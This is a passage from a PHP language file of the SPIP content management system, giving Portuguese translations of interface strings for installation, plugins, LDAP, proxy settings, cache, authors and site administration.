'info_ecrire_article' => 'Antes de poder escrever artigos, deve criar pelo menos uma rubrica.',
'info_email_envoi' => 'Endereço de email de envio (opcional)',
'info_email_envoi_txt' => 'Indique aqui o endereço a utilizar para enviar os emails (se não for o caso, o endereço do destinatário será utilizado como endereço de envio) :',
'info_email_webmestre' => 'Endereço e-mail do webmaster ',
'info_entrer_code_alphabet' => 'Insira o código do alfabeto a utilizar :',
'info_envoi_email_automatique' => 'Envio automático de mails',
'info_envoyer_maintenant' => 'Enviar agora',
'info_etape_suivante' => 'Passar para a seguinte etapa',
'info_etape_suivante_1' => 'Pode passar para a etapa seguinte',
'info_etape_suivante_2' => 'Pode passar para a etapa seguinte',
'info_exceptions_proxy' => 'Excepções para o proxy',
'info_exportation_base' => 'exportação da base para @archive@',
'info_facilite_suivi_activite' => 'A fim de facilitar o acompanhamento da actividade
editorial do sítio, SPIP pode fazer chegar por email, por exemplo
a uma <i>mailing-list</i> dos redactores, o anúncio dos pedidos de
publicação e das validações de artigos.',
'info_fichiers_authent' => 'Ficheiros de autenticação « .htpasswd »',
'info_forums_abo_invites' => 'O seu sítio contém fóruns por assinatura; os visitantes são convidados a registar-se no sítio público.',
'info_gauche_admin_effacer' => '<b>Esta página é acessível apenas aos responsáveis pelo site.</b><p> Ela dá acesso às diferentes funções de manutenção técnica. Algumas dessas funções possuem um processo específico de autenticação que exige acesso FTP ao website.</p>',
'info_gauche_admin_tech' => '<b>Esta página está acessível apenas aos responsáveis pelo site.</b><p> Ela dá acesso às diferentes funções de manutenção técnica. Algumas dessas funções possuem um processo específico de autenticação que exige acesso FTP ao sítio.</p>',
'info_gauche_admin_vider' => '<b>Esta página é acessível apenas aos responsáveis pelo sítio.</b><p> Ela dá acesso às diferentes funções de manutenção técnica. Algumas dessas funções possuem um processo específico de autenticação que exige acesso FTP ao sítio web</p>',
'info_gauche_auteurs' => 'Encontrará aqui todos os autores do sítio.
Os estatuto dos autores é indicado pela cor dos ícones (administrador = verde; redactor = amarelo).',
'info_gauche_auteurs_exterieurs' => 'Os autores externos, sem acesso ao sítio, são indicados por um ícone azul;
os autores apagados, por um ícone cinzento.',
'info_gauche_messagerie' => 'A caixa de correio permite-lhe trocar mensagens entre redactores, conservar memorandos (para o seu uso pessoal) ou exibir anúncios na página de abertura do espaço privado (se for administrador).',
'info_gauche_numero_auteur' => 'AUTOR NÚMERO',
'info_gauche_statistiques_referers' => 'Esta página apresenta a lista dos <i>referers</i>, ou seja, dos sítios que contêm links para o seu sítio, unicamente para ontem e hoje; esta lista é actualizada a cada 24 horas.',
'info_gauche_visiteurs_enregistres' => 'Encontrará aqui os visitantes registados
no espaço público do sítio (fóruns por assinatura).',
'info_generation_miniatures_images' => 'Geração de miniaturas das imagens',
'info_gerer_trad' => 'Gerir as ligações de tradução?',
'info_gerer_trad_objets' => '@objets@ : gerir as ligações de tradução',
'info_hebergeur_desactiver_envoi_email' => 'Alguns serviços de hospedagem desactivam o envio automático de
e-mails a partir dos seus servidores. Nesse caso, as seguintes
funcionalidades de SPIP não funcionarão.',
'info_hier' => 'ontem :',
'info_historique_activer' => 'Activar o acompanhamento das revisões',
'info_historique_affiche' => 'Visualizar esta versão',
'info_historique_comparaison' => 'comparação',
'info_historique_desactiver' => 'Desactivar o acompanhamento das revisões',
'info_historique_texte' => 'O acompanhamento das revisões permite conservar um histórico de todas as alterações realizadas ao conteúdo de um artigo, e visualizar as diferenças entre as sucessivas versões',
'info_identification_publique' => 'A sua identidade pública...',
'info_image_process' => 'Seleccione o melhor método para criar as vinhetas clicando sobre a imagem correspondente.',
'info_image_process2' => '<b>N.B.</b> <i> Se nenhuma imagem aparece, então o servidor que alberga o seu sítio não foi configurado para utilizar tais ferramentas. Se deseja utilizar essas funções, contacte o responsavel técnico e peça as extensões «GD» ou «Imagick».</i>',
'info_images_auto' => 'Imagens calculadas automaticamente',
'info_informations_personnelles' => 'Quinta etapa : <b>Informações pessoais<b>',
'info_inscription_automatique' => 'Inscrição automática de novos redactores',
'info_jeu_caractere' => 'Conjunto de caracteres do sítio',
'info_jours' => 'dias',
'info_laisser_champs_vides' => 'deixar estes campos vazios)',
'info_langues' => 'Idiomas do sítio',
'info_ldap_ok' => 'A autenticação LDAP está instalada.',
'info_lien_hypertexte' => 'Hiperligação :',
'info_liste_nouveautes_envoyee' => 'A lista de novidades foi enviada.',
'info_liste_redacteurs_connectes' => 'Lista dos redactores ligados',
'info_login_existant' => 'Este login já existe.',
'info_login_trop_court' => 'Login demasiado curto.',
'info_login_trop_court_car_pluriel' => 'O login deve conter pelo menos @nb@ caracteres.',
'info_logos' => 'Os logos',
'info_maximum' => 'máximo :',
'info_meme_rubrique' => 'Na mesma rubrica',
'info_message' => 'Mensagem de',
'info_message_efface' => 'MENSAGEM APAGADA',
'info_message_en_redaction' => 'As suas mensagens em rascunho',
'info_message_technique' => 'Mensagem técnica:',
'info_messagerie_interne' => 'Correio interno',
'info_mise_a_niveau_base' => 'melhoramento da sua base de dados SQL',
'info_mise_a_niveau_base_2' => '{{Atenção!}} Instalou uma versão
dos ficheiros SPIP {anterior} à que se encontrava
antes neste sítio: a sua base de dados corre o risco de se perder
e o seu sítio já não funcionará .<br />{{Re-instalar os
ficheiros de SPIP.}}',
'info_modification_enregistree' => 'As suas modificações foram guardadas',
'info_modifier_auteur' => 'Modifcar o autor :',
'info_modifier_rubrique' => 'Modificar a rubrica :',
'info_modifier_titre' => 'Modificar : @titre@',
'info_mon_site_spip' => 'O meu sítio SPIP',
'info_mot_sans_groupe' => '(Palavras sem grupo...)',
'info_moteur_recherche' => 'Motor integrado de pesquisa',
'info_moyenne' => 'média :',
'info_multi_articles' => 'Activar o menu de idioma para os artigos?',
'info_multi_cet_article' => 'Idioma deste artigo :',
'info_multi_langues_choisies' => 'Por favor seleccione a seguir os idiomas à disposição dos redactores do seu sítio.
Os idiomas já utilizados no seu sítio (exibidos em primeiro lugar) não podem ser desactivados.',
'info_multi_objets' => '@objets@ : activar o menu de idioma',
'info_multi_rubriques' => 'Activar o menu de idioma para as rubricas? ',
'info_multi_secteurs' => '... só para as rubricas situadas na raíz ?',
'info_nb_articles' => '@nb@ artigos',
'info_nb_articles_syndiques' => '@nb@ artigos redifundidos',
'info_nb_auteurs' => '@nb@ autores',
'info_nb_messages' => '@nb@ mensagens',
'info_nb_mots_cles' => '@nb@ palavras-chave',
'info_nb_rubriques' => '@nb@ rubricas',
'info_nb_sites' => '@nb@ sítios',
'info_nb_visiteurs' => '@nb@ visitantes',
'info_nom' => 'Nome',
'info_nom_destinataire' => 'Nome do destinatário',
'info_nom_pas_conforme' => 'as tags html não são autorizadas',
'info_nom_site' => 'Nome do seu sítio',
'info_nombre_articles' => '@nb_articles@ artigos,',
'info_nombre_partcipants' => 'PARTICIPANTES NA DISCUSSÃO :',
'info_nombre_rubriques' => '@nb_rubriques@ rubricas,',
'info_nombre_sites' => '@nb_sites@ sítios,',
'info_non_deplacer' => 'Não deslocar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pode enviar regularmente o anúncio das últimas novidades do sítio
(artigos e notícias recentemente publicados).',
'info_non_envoi_liste_nouveautes' => 'Não enviar a lista das novidades',
'info_non_modifiable' => 'não pode ser modificado',
'info_non_suppression_mot_cle' => 'Não quero suprimir esta palavra-chave.',
'info_note_numero' => 'Nota @numero@',
'info_notes' => 'Notas',
'info_nouveaux_message' => 'Novas mensagens',
'info_nouvel_article' => 'Novo artigo',
'info_nouvelle_traduction' => 'Nova tradução :',
'info_numero_article' => 'ARTIGO NÚMERO :',
'info_obligatoire_02' => '[Obigatório]',
'info_option_accepter_visiteurs' => 'Aceitar a inscrição de visitantes do sítio público',
'info_option_faire_suivre' => 'Encaminhar as mensagens dos fóruns para os autores dos artigos',
'info_option_ne_pas_accepter_visiteurs' => 'Recusar a inscrição de visitantes',
'info_options_avancees' => 'OPÇÕES AVANÇADAS',
'info_ortho_activer' => 'Activar o corrector ortográfico',
'info_ortho_desactiver' => 'Desactivar o corrector ortográfico',
'info_ou' => 'ou...',
'info_page_interdite' => 'Página proibida',
'info_par_nom' => 'por nome',
'info_par_nombre_article' => 'por número de artigos',
'info_par_statut' => 'por estado',
'info_par_tri' => '’(por @tri@)’',
'info_passe_trop_court' => 'Palavra-passe demasiado curta.',
'info_passe_trop_court_car_pluriel' => 'A palavra-passe deve conter pelo menos @nb@ caracteres.',
'info_passes_identiques' => 'As duas palavras-passe não são idênticas.',
'info_pense_bete_ancien' => 'Os seus antigos memorandos',
'info_plus_cinq_car' => 'mais de 5 caracteres',
'info_plus_cinq_car_2' => '(Mais de 5 caracteres)',
'info_plus_trois_car' => '(Mais de 3 caracteres)',
'info_popularite' => 'popularidade : @popularite@ ; visitas : @visites@',
'info_popularite_4' => 'popularidade : @popularite@ ; visitas : @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-scriptum :',
'info_pour' => 'para',
'info_preview_admin' => 'Apenas os administradores podem pré-visualizar o sítio',
'info_preview_comite' => 'Todos os redactores podem pré-visualizar o sítio',
'info_preview_desactive' => 'A pré-visualização está totalmente desactivada',
'info_preview_texte' => 'É possível pré-visualizar o site como se todas os artigos e notas (tendo pelo menos o estatuto de «proposta») estivessem publicados. Esta possibilidade deve estar disponível apenas para os administradores, para todos os redactores, ou para ninguém?',
'info_principaux_correspondants' => 'Os seus principais correspondentes',
'info_procedez_par_etape' => 'proceder etapa por etapa',
'info_procedure_maj_version' => 'o procedimento de actualização deve ser lançado para adaptar
a base de dados à nova versão de SPIP.',
'info_proxy_ok' => 'Proxy testado com sucesso.',
'info_ps' => 'P.S.',
'info_publier' => 'publicar',
'info_publies' => 'Os seus artigos publicados online',
'info_question_accepter_visiteurs' => 'Se os parâmetros do seu site prevêem o registo de visitantes sem acesso ao espaço privado, por favor, active a opção abaixo:',
'info_question_inscription_nouveaux_redacteurs' => 'Aceita as inscrições de novos redactores a
partir do sítio público? Se aceitar, os visitantes poderão inscrever-se
a partir de um formulário automatizado e acederão então ao espaço privado para
propor os seus próprios artigos. <blockquote><i>Durante a fase de inscrição, os utilizadores recebem um e-mail automático
fornecendo-lhes os seus códigos de acesso ao sítio privado. Alguns
serviços de hospedagem desactivam o envio de e-mails a partir dos seus
servidores: nesse caso, a inscrição automática é impossível.',
'info_question_utilisation_moteur_recherche' => 'Deseja utilizar o motor integrado de pesquisa a SPIP ?
(desactivá-lo acelera o funcionamento do sistema)',
'info_question_vignettes_referer_non' => 'Não exibir imagens dos sítios de origem das visitas',
'info_qui_edite' => '@nom_auteur_modif@ modificou o conteúdo há @date_diff@ minutos',
'info_racine_site' => 'Raiz do sítio',
'info_recharger_page' => 'Por favor volte a carregar esta página daqui a pouco.',
'info_recherche_auteur_a_affiner' => 'Demasiados resultados para "@cherche_auteur@" ; por favor afine a pesquisa.',
'info_recherche_auteur_ok' => 'Muitos redactores encontrados para "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Nenhum resultado para "@cherche_auteur@".',
'info_recommencer' => 'Por favor tente de novo.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'tendo acesso ao espaço privado(<i>recomendado</i>)',
'info_redacteurs' => 'Redactores',
'info_redaction_en_cours' => 'EM CURSO DE REDACÇÃO',
'info_redirection' => 'Redirigir',
'info_redirection_activee' => 'O redireccionamento está activado.',
'info_redirection_desactivee' => 'O redireccionamento foi eliminado.',
'info_refuses' => 'Os seus artigos recusados',
'info_reglage_ldap' => 'Opções : <b>Acerto da importação LDAP</b>',
'info_renvoi_article' => '<b>Redireccionar.</b> Este artigo remete para a página:',
'info_reserve_admin' => 'Só os administradores podem modificar este endereço.',
'info_restreindre_rubrique' => 'Limitar a gestão à rubrica : ',
'info_resultat_recherche' => 'Resultados da pesquisa ;',
'info_rubriques' => 'Rubricas',
'info_rubriques_02' => 'rubricas',
'info_rubriques_trouvees' => 'Rubricas encontradas',
'info_rubriques_trouvees_dans_texte' => 'Rubricas encontradas (no texto)',
'info_sans_titre' => 'Sem título',
'info_selection_chemin_acces' => '<b>Seleccione</b> a seguir o caminho de acesso no anuário :',
'info_signatures' => 'assinaturas',
'info_site' => 'Sítio',
'info_site_2' => 'sítio :',
'info_site_min' => 'sítio',
'info_site_reference_2' => 'Sítio referenciado',
'info_site_web' => 'Sítio web :',
'info_sites' => 'sítios',
'info_sites_lies_mot' => 'Os sítios referenciados ligados a esta palavra-chave',
'info_sites_proxy' => 'Utilizar um proxy',
'info_sites_trouves' => 'Sítios encontrados',
'info_sites_trouves_dans_texte' => 'Sítios encontrados (no texto)',
'info_sous_titre' => 'Sub-título :',
'info_statut_administrateur' => 'Administrador',
'info_statut_auteur' => 'Estatuto deste autor :',
'info_statut_auteur_2' => 'Eu sou',
'info_statut_auteur_a_confirmer' => 'Registo a confirmar',
'info_statut_auteur_autre' => 'Outro estado:',
'info_statut_efface' => 'Apagado',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatuto por defeito dos utilizadores importados',
'info_statut_utilisateurs_2' => 'Escolha o estatuto atribuído às pessoas presentes no anuário LDAP quando elas se ligam pela primeira vez. Poderá depois modificar este valor para cada autor, caso a caso.',
'info_suivi_activite' => 'Acompanhamento da actividade editorial',
'info_surtitre' => 'Antetítulo',
'info_syndication_integrale_1' => 'O seu sítio propõe os ficheiros redifundidos (ver « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Deseja enviar os artigos completos ou apenas um resumo de algumas centenas de caracteres?',
'info_table_prefix' => 'Pode modificar o prefixo do nome das tabelas das bases de dados. (Precisa de o fazer se estiver a instalar vários sítios na mesma base de dados.) O prefixo tem de ser escrito sem acentos, em minúsculas e sem espaços.',
'info_taille_maximale_images' => 'SPIP testará o tamanho máximo de imagem que pode processar (em milhões de pixels).<br /> As imagens maiores não serão reduzidas.',
'info_taille_maximale_vignette' => 'Tamanho máximo das vinhetas geradas pelo sistema :',
'info_terminer_installation' => 'Pode agora acabar o procedimento de instalação tipo.',
'info_texte' => 'Texto',
'info_texte_explicatif' => 'Texto explicativo',
'info_texte_long' => '(o texto é comprido : aparece, por isso, em muitas partes que serão coladas depois da validação.)',
'info_texte_message' => 'Texto da sua mensagem :',
'info_texte_message_02' => 'Texto da mensagem',
'info_titre' => 'Título :',
'info_total' => 'total :',
'info_tous_articles_en_redaction' => 'Todos os artgos em curso de redacção',
'info_tous_articles_presents' => 'Todos os artigos publicados nesta rubrica',
'info_tous_articles_refuses' => 'Todos os artigos rejeitados',
'info_tous_les' => 'todos os',
'info_tous_redacteurs' => 'Anúncios a todos os redactores',
'info_tout_site' => 'Todo o sítio',
'info_tout_site2' => 'O artigo não está traduzido neste idioma.',
'info_tout_site3' => 'O artigo foi traduzido neste idioma, mas foram feitas modificações ao artigo original. A tradução necessita ser actualizada.',
'info_tout_site4' => 'O artigo foi traduzido neste idioma e a tradução está actual.',
'info_tout_site5' => 'Artigo original.',
'info_tout_site6' => '<b>Atenção:</b> só os artigos originais são mostrados.
As traduções estão associadas ao original,
numa cor que indica o seu estado:',
'info_traductions' => 'Traduções',
'info_travail_colaboratif' => 'Trabalho colaborativo sobre os artigos',
'info_un_article' => 'um artigo',
'info_un_site' => 'um sítio',
'info_une_rubrique' => 'uma rubrica,',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL :',
'info_url_proxy' => 'URL do proxy',
'info_url_site' => 'URL do sítio :',
'info_url_test_proxy' => 'URL de teste',
'info_urlref' => 'Ligação hipertexto :',
'info_utilisation_spip' => 'Pode começar agora a utilizar o sistema de publicação assistida...',
'info_visites_par_mois' => 'Exibição por mês :',
'info_visiteur_1' => 'Visitante',
'info_visiteur_2' => 'do sítio público',
'info_visiteurs' => 'Visitantes',
'info_visiteurs_02' => 'Visitantes do sítio público',
'info_webmestre_forces' => 'Os webmasters são actualmente definidos em <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Endereço da base de dados atribuído pelo serviço de hospedagem',
'install_base_ok' => 'A base @base@ foi identificada',
'install_connect_ok' => 'A nova base de dados foi declarada usando o nome de servidor @connect@.',
'install_echec_annonce' => 'A instalação vai provavelmente falhar,ou criar um sítio não funcional',
'install_extension_mbstring' => 'O SPIP não funciona com :',
'install_extension_php_obligatoire' => 'O SPIP exige a extensão php :',
'install_login_base_hebergeur' => 'Login de ligação atribuído pelo serviço de hospedagem',
'install_nom_base_hebergeur' => 'Nome da base de dados atribuído pelo serviço de hospedagem:',
'install_pas_table' => 'A base de dados não tem tabelas',
'install_pass_base_hebergeur' => 'Palavra-passe atribuída pelo serviço de hospedagem',
'install_php_version' => 'Esta versão de PHP @version@ é demasiado curta (minimum = @minimum@)',
'install_select_langue' => 'Seleccione um idioma e depois clique no botão " seguinte " para lançar o procedimento de instalação.',
'install_select_type_db' => 'Indicar o tipo de base de dados :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servidor da base de dados atribuído pelo serviço de hospedagem',
'install_table_prefix_hebergeur' => 'Prefixo de tabela atribuído pelo serviço de hospedagem:',
'install_tables_base' => 'Tabelas da base de dados',
'install_types_db_connus' => 'SPIP pode usar <b>MySQL</b> (o mais comum), <b>PostgreSQL</b> e <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'O suporte de <b>PostgreSQL</b> está proposto a nível experimental',
'instituer_erreur_statut_a_change' => 'O estado já tinha sido modificado',
'instituer_erreur_statut_non_autorise' => 'Não pode seleccionar este estado',
'intem_redacteur' => 'redactor',
'intitule_licence' => 'Licença',
'item_accepter_inscriptions' => 'Aceitar as inscrições',
'item_activer_messages_avertissement' => 'Activar as mensagens de aviso',
'item_administrateur_2' => 'administrador',
'item_afficher_calendrier' => 'Exibir o calendário',
'item_autoriser_documents_joints' => 'Autorizar os documentos juntos dos artigos',
'item_autoriser_documents_joints_rubriques' => 'Autorizar os documentos nas rubricas',
'item_autoriser_syndication_integrale' => 'Incluir artigos completos nos ficheiros de redifusão',
'item_choix_administrateurs' => 'os administradores',
'item_choix_generation_miniature' => 'Gerar automaticamente as miniaturas das imagens.',
'item_choix_non_generation_miniature' => 'Não gerar miniaturas das imagens.',
'item_choix_redacteurs' => 'os redactores',
'item_choix_visiteurs' => 'os visitadores do sítio público',
'item_creer_fichiers_authent' => 'Criar os ficheiros .htpasswd',
'item_limiter_recherche' => 'Limitar a pesquisa às informações contidas no seu sítio',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Activar as mensagens e a agenda',
'item_mots_cles_association_articles' => 'aos artigos',
'item_mots_cles_association_rubriques' => 'às rubricas',
'item_mots_cles_association_sites' => 'aos sítios referenciados ou vinculados.',
'item_non' => 'Não',
'item_non_accepter_inscriptions' => 'Não aceitar as inscrições',
'item_non_activer_messages_avertissement' => 'Não há mensagens de aviso',
'item_non_afficher_calendrier' => 'Não exibir no calendário',
'item_non_autoriser_documents_joints' => 'Não autorizar os documentos nos artigos',
'item_non_autoriser_documents_joints_rubriques' => 'Não autorizar os documentos nas rubricas',
'item_non_autoriser_syndication_integrale' => 'Enviar apenas um resumo',
'item_non_compresseur' => 'Desactivar a compressão',
'item_non_creer_fichiers_authent' => 'Não criar estes ficheiros',
'item_non_gerer_statistiques' => 'Não gerir as estatísticas',
'item_non_limiter_recherche' => 'Alargar a pesquisa ao conteúdo dos sítios referenciados',
'item_non_messagerie_agenda' => 'Desactivar as mensagens e a agenda',
'item_non_publier_articles' => 'Não publicar os artigos antes da data de publicação fixada.',
'item_non_utiliser_moteur_recherche' => 'Não utilizar o motor',
'item_nouvel_auteur' => 'Novo autor',
'item_nouvelle_rubrique' => 'Nova rubrica',
'item_oui' => 'Sim',
'item_publier_articles' => 'Publicar os artigos, seja qual for a sua data de publicação.',
'item_reponse_article' => 'Resposta ao artigo',
'item_utiliser_moteur_recherche' => 'Utilizar o motor de pesquisa',
'item_version_html_max_html4' => 'Usar apenas HTML4 no sítio público',
'item_version_html_max_html5' => 'Permitir HTML5',
'item_visiteur' => 'visitante',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'Barra de ferramentas',
'label_bando_outils_afficher' => 'Exibir as ferramentas',
'label_bando_outils_masquer' => 'Ocultar as ferramentas',
'label_choix_langue' => 'Seleccione o seu idioma',
'label_nom_fichier_connect' => 'Indique o nome para este servidor',
'label_slogan_site' => 'Slogan do sítio',
'label_taille_ecran' => 'Largura do ecrã',
'label_texte_et_icones_navigation' => 'Menu de navegação',
'label_texte_et_icones_page' => 'Exibição da página',
'ldap_correspondance' => 'sucessão do campo @champ@',
'ldap_correspondance_1' => 'Sucessão dos campos LDAP',
'ldap_correspondance_2' => 'Para cada um destes campos SPIP, indique o nome do campo LDAP correspondente. Deixe em branco se não o deseja preenchido. Separe com espaços ou vírgulas, para tentar vários campos LDAP.',
'lien_ajout_destinataire' => 'Acrescentar este destinatário',
'lien_ajouter_auteur' => 'Acrescentar este autor',
'lien_ajouter_participant' => 'Acrescentar um participante',
'lien_ajouter_une_rubrique' => 'Adicionar esta rubrica',
'lien_email' => 'email',
'lien_nom_site' => 'NOME DO SÍTIO',
'lien_retirer_auteur' => 'Remover o autor',
'lien_retirer_rubrique' => 'Eliminar a rubrica',
'lien_retirer_tous_auteurs' => 'Eliminar todos os autores',
'lien_retirer_toutes_rubriques' => 'Remover todas as rubricas',
'lien_retrait_particpant' => 'remover este participante',
'lien_site' => 'sítio',
'lien_supprimer_rubrique' => 'suprimir esta rubrica',
'lien_tout_deplier' => 'Expandir tudo',
'lien_tout_replier' => 'Recolher tudo',
'lien_tout_supprimer' => 'Eliminar tudo',
'lien_trier_nom' => 'Seleccionar por nome',
'lien_trier_nombre_articles' => 'seleccionar por número de artgos',
'lien_trier_statut' => 'Seleccionar por estatuto',
'lien_voir_en_ligne' => 'VER EM LINHA',
'logo_article' => 'Logotipo do artigo',
'logo_auteur' => 'Logotipo do autor ',
'logo_rubrique' => 'Logotipo da rubrica',
'logo_site' => 'Logotipo deste sítio',
'logo_standard_rubrique' => 'Logotipo modelo das rubricas',
'logo_survol' => 'Logotipo "mouseover"',
// M
'menu_aide_installation_choix_base' => 'Escolha da sua base',
'module_fichier_langue' => 'Ficheiro de idioma',
'module_raccourci' => 'Atalhos',
'module_texte_affiche' => 'Texto exibido',
'module_texte_explicatif' => 'Pode inserir os seguintes atalhos nos esqueletos do seu sítio público. Serão automaticamente traduzidos para os vários idiomas nos quais há um ficheiro de idioma.',
'module_texte_traduction' => 'O ficheiro de idioma « @module@ » está disponível em :',
'mois_non_connu' => 'não conhecido',
// N
'nouvelle_version_spip' => 'A versão @version@ de SPIP está disponível',
// O
'onglet_contenu' => 'Conteúdo',
'onglet_declarer_une_autre_base' => 'Declarar outra base de dados',
'onglet_discuter' => 'Discussão',
'onglet_documents' => 'Documentos',
'onglet_interactivite' => 'Interactividade',
'onglet_proprietes' => 'Propriedades',
'onglet_repartition_actuelle' => 'actualmente',
'onglet_sous_rubriques' => 'Sub-rubricas',
// P
'page_pas_proxy' => 'Esta página não deve passar através do proxy',
'pas_de_proxy_pour' => 'Se necessário, indique a que máquinas ou domínios este proxy não se deve aplicar (por exemplo : @exemple@)',
'plugin_charge_paquet' => 'Carregamento do ficheiro @name@',
'plugin_charger' => 'Download',
'plugin_erreur_charger' => 'erro : impossível carregar @zip@',
'plugin_erreur_droit1' => 'Não pode escrever no directório <code>@dest@</code>.',
'plugin_erreur_droit2' => 'Por favor verifique as autorizações para este directório (e crie o directório se necessário). Alternativamente, instale os ficheiros por FTP.',
'plugin_erreur_zip' => 'falha pclzip : erro @status@',
'plugin_etat_developpement' => 'em desenvolvimento',
'plugin_etat_experimental' => 'experimental',
'plugin_etat_stable' => 'estável',
'plugin_etat_test' => 'em teste',
'plugin_impossible_activer' => 'Impossível activar o plugin @plugin@',
'plugin_info_automatique1' => 'Se deseja autorizar a instalação automática de plugins, por favor:',
'plugin_info_automatique1_lib' => 'Se deseja que a biblioteca seja instalada automaticamente, por favor:',
'plugin_info_automatique2' => 'criar um directório <code>@rep@</code> ;',
'plugin_info_automatique3' => 'Verifique se o servidor está autorizado a escrever neste directório.',
'plugin_info_automatique_creer' => 'a criar na raiz do sítio.',
'plugin_info_automatique_exemples' => 'exemplos:',
'plugin_info_automatique_ftp' => 'Pode instalar os plugins, por FTP, no directório <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Alguns plugins precisam de estar aptos a carregar ficheiros no directório <code>lib/</code>. Este directório deve ser criado na raiz do sítio.',
'plugin_info_automatique_liste' => 'As suas listas de plugins :',
'plugin_info_automatique_liste_officielle' => 'os plugins oficiais',
'plugin_info_automatique_liste_update' => 'Actualizar as listas',
'plugin_info_automatique_ou' => 'ou...',
'plugin_info_automatique_select' => 'Seleccione um plugin abaixo: SPIP irá carregá-lo e instalá-lo no directório <code>@rep@</code>. Se o plugin já existir, será actualizado.',
'plugin_info_credit' => 'Créditos',
'plugin_info_erreur_xml' => 'A declaração do plugin está incorrecta',
'plugin_info_install_ok' => 'Instalado com sucesso',
'plugin_info_necessite' => 'Requer:',
'plugin_info_non_compatible_spip' => 'O plugin é incompatível com esta versão de SPIP',
'plugin_info_plugins_dist_1' => 'Os plugins seguintes estão carregados e activados no directório @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Não podem ser desactivados.',
'plugin_info_telecharger' => 'carregar de @url@ e instalar em @rep@',
'plugin_info_upgrade_ok' => 'Actualizado com sucesso',
'plugin_librairies_installees' => 'Bibliotecas instaladas',
'plugin_necessite_lib' => 'Este plugin requer a biblioteca @lib@',
'plugin_necessite_plugin' => 'Requer o plugin @plugin@ em versão @version@ ou mais recente.',
'plugin_necessite_plugin_sans_version' => 'Requer o plugin @plugin@',
'plugin_necessite_spip' => 'Requer SPIP em version @version@ ou mais recente.',
'plugin_source' => 'fonte: ',
'plugin_titre_automatique' => 'Instalação automática',
'plugin_titre_automatique_ajouter' => 'Adicionar plugins',
'plugin_titre_installation' => 'Instalação do plugin @plugin@',
'plugin_titre_modifier' => 'Os meus plugins',
'plugin_zip_active' => 'Continue para activar',
'plugin_zip_adresse' => 'Para carregar um ficheiro zip de plugin, ou uma lista de plugins, introduza o caminho abaixo.',
'plugin_zip_adresse_champ' => 'Endereço do plugin ou da lista',
'plugin_zip_content' => 'Contém os seguintes ficheiros (@taille@),<br /> prontos a ser instalados no directório <code>@rep@</code>',
'plugin_zip_installe_finie' => 'O ficheiro @zip@ foi descomprimido e instalado.',
'plugin_zip_installe_rep_finie' => 'O ficheiro @zip@ foi descompactado e instalado no directório @rep@',
'plugin_zip_installer' => 'Agora pode instalar.',
'plugin_zip_telecharge' => 'O ficheiro @zip@ foi carregado',
'plugins_actif_aucun' => 'Sem plugins activados.',
'plugins_actif_un' => 'Um plugin activado.',
'plugins_actifs' => '@count@ plugins activados.',
'plugins_actifs_liste' => 'Activados',
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'Um plugin disponível.',
'plugins_disponibles' => '@count@ plugins disponíveis.',
'plugins_erreur' => 'Erro nos plugins : @plugins@',
'plugins_liste' => 'Lista de plugins',
'plugins_liste_dist' => 'Plugins bloqueados',
'plugins_recents' => 'Plugins recentes.',
'plugins_tous_liste' => 'Todos',
'plugins_vue_hierarchie' => 'Hierarquia',
'plugins_vue_liste' => 'Lista',
'protocole_ldap' => 'Versão do protocolo:',
// Q
'queue_executer_maintenant' => 'Executar agora',
'queue_info_purger' => 'Pode eliminar todas as tarefas em espera e pôr a zeros a lista de tarefas periódicas',
'queue_nb_jobs_in_queue' => '@nb@ tarefas em espera',
'queue_next_job_in_nb_sec' => 'Próxima tarefa em @nb@ s',
'queue_no_job_in_queue' => 'Sem tarefas em espera',
'queue_one_job_in_queue' => '1 tarefa em espera',
'queue_purger_queue' => 'Pôr a zeros a lista de tarefas',
'queue_titre' => 'Lista de tarefas',
// R
'repertoire_plugins' => 'Directório :',
// S
'sans_heure' => 'tempo não especificado',
'statut_admin_restreint' => 'administrador restrito',
'statut_webmestre' => 'webmaster',
// T
'tache_cron_asap' => 'Tarefas CRON @function@ (ASAP)',
'tache_cron_secondes' => 'Tarefa CRON @function@ (todas as @nb@ s)',
'taille_cache_image' => 'As imagens calculadas automaticamente pelo SPIP (miniaturas dos documentos, títulos apresentados sob forma gráfica, funções matemáticas no formato TeX...) ocupam no directório @dir@ um total de @taille@.',
'taille_cache_infinie' => 'Este sítio não prevê limitação de tamanho do directório de cache <code>CACHE/</code>.',
'taille_cache_maxi' => 'SPIP tenta limitar o tamanho do diretório cache <code>CACHE/</code> deste sítio em cerca de <b>@octets@</b>.',
'taille_cache_moins_de' => 'O tamanho da cache é menor do que @octets@.',
'taille_cache_octets' => 'O tamanho da cache é actualmente cerca de @octets@.',
'taille_cache_vide' => 'A cache está vazia.',
'taille_repertoire_cache' => 'Tamanho do directório cache',
'text_article_propose_publication' => 'Artigo proposto para publicação. Não hesite em dar a sua opinião graças ao fórum ligado a este artigo (no fundo da página).',
'texte_acces_ldap_anonyme_1' => 'Alguns servidores LDAP não aceitam nenhum acesso anónimo. Nesse caso, é preciso especificar um identificador de acesso inicial a fim de poder depois procurar informações no anuário. Na maior parte dos casos, porém, os seguintes campos poderão ser deixados vazios.',
'texte_admin_effacer_01' => 'Este comando apaga <i>todo</i> o conteúdo da base de dados,
inclusive <i>todos</i> os acessos de redactores e administradores. Depois de o ter executado, deverá
reinstalar SPIP para recriar uma nova base assim como uma primeira conta de administrador.',
